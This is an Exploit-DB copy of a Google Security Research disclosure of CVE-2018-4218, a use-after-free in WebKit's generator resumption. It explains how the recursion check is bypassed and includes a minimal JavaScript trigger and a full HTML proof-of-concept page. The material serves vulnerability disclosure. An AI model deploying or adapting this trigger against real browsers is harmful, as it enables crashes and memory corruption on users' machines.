WebKit - Use-After-Free when Resuming Generator

EDB-ID: 44861
Author: Google Security Research
Published: 2018-06-08
CVE: CVE-2018-4218
Type: Dos
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Use After Free (UAF)
Vulnerable App: N/A

 In WebKit, resuming a generator is implemented in JavaScript. An internal object property, @generatorState is used to prevent recursion within generators. In GeneratorPrototype.js, the state is checked by calling: 

var state = this.@generatorState;

and set by calling:

generator.@generatorState = @GeneratorStateExecuting;


Checking that the @generator property is set is also used in place of type checking the generator.

Therefore, if Generator.next is called on an object with a prototype that is a Generator, it will pass the type check, and the internal properties of the Generator prototype will be used to resume the generator. However, when @generatorState, it will be set as an own property on the object, not the prototype. This allows the creation of non-Generator objects with the @generatorState set to completed.

It is then possible to bypass the recursion check by setting the prototype of one of these objects to a Generator, as the check will then get the object's @generatorState own property, meanwhile the other internal properties will come from the prototype.

Generators are not intended to allow recursion, so a reference to the scope is not maintained, leading to a use-after free.

A minimal sample of the script causing this problem is below, and a full PoC is attached.

var iterator;

var a = [];

function* foo(index) {

while (1) {
var q = a.pop();
if(q){
q.__proto__ = iterator;
q.next();
}
yield index++;
}
}

function* foo2(){
yield;
}

var temp = foo2(0);

for(var i = 0; i < 10; i++){ // make a few objects with @generatorState set
var q = {};
q.__proto__ = temp;
q.next();
q.__proto__ = {};
a.push(q);

}

iterator = foo(0);

var q = {};
q.__proto__ = iterator;
print(q.next().value);
-->

<html><body><script>
print = console.log;
print("top");
var iterator;
var o = function(){print("hello")};
var a = [];
function* foo(index) {
//print("start");

while (1) {
//if(index == 77){
// o = 0;
// gc();
// index = 2;
// var a = [1, 2, 3, 4];
//yield 9;
//print("a vale " + a[0]);
//}
//if(index == 1){
//index = 77;
// print("INTERNAL CALL")
// iterator.next();
//index++;

//}
//var b = [1, 2, 3, 4];
var q = a.pop();
if(q){
print("here1");
q.__proto__ = iterator;
q.next();
}
yield index++;
//print("bval" + b[0]);
}
}

function* foo2(){

yield;

}

var temp = foo2(0);

for(var i = 0; i < 10; i++){

var q = {};
q.__proto__ = temp;
q.next();
q.__proto__ = {};
a.push(q);

}
//print(a);
iterator = foo(0);


// expected output: 0




o.__proto__ = iterator;
//print("FIRST CALL")
//print(o.next().value);
//print("SECOND CALL")
//print(o.next().value);
//print("THIRD CALL")

for(var i = 0; i < 10; i++){
var q = {};
q.__proto__ = iterator;
print(q.next("hello").value);
}

//print("FOURTH CALL")
//print(iterator.next().value);
o();
</script></body></html>

Related Posts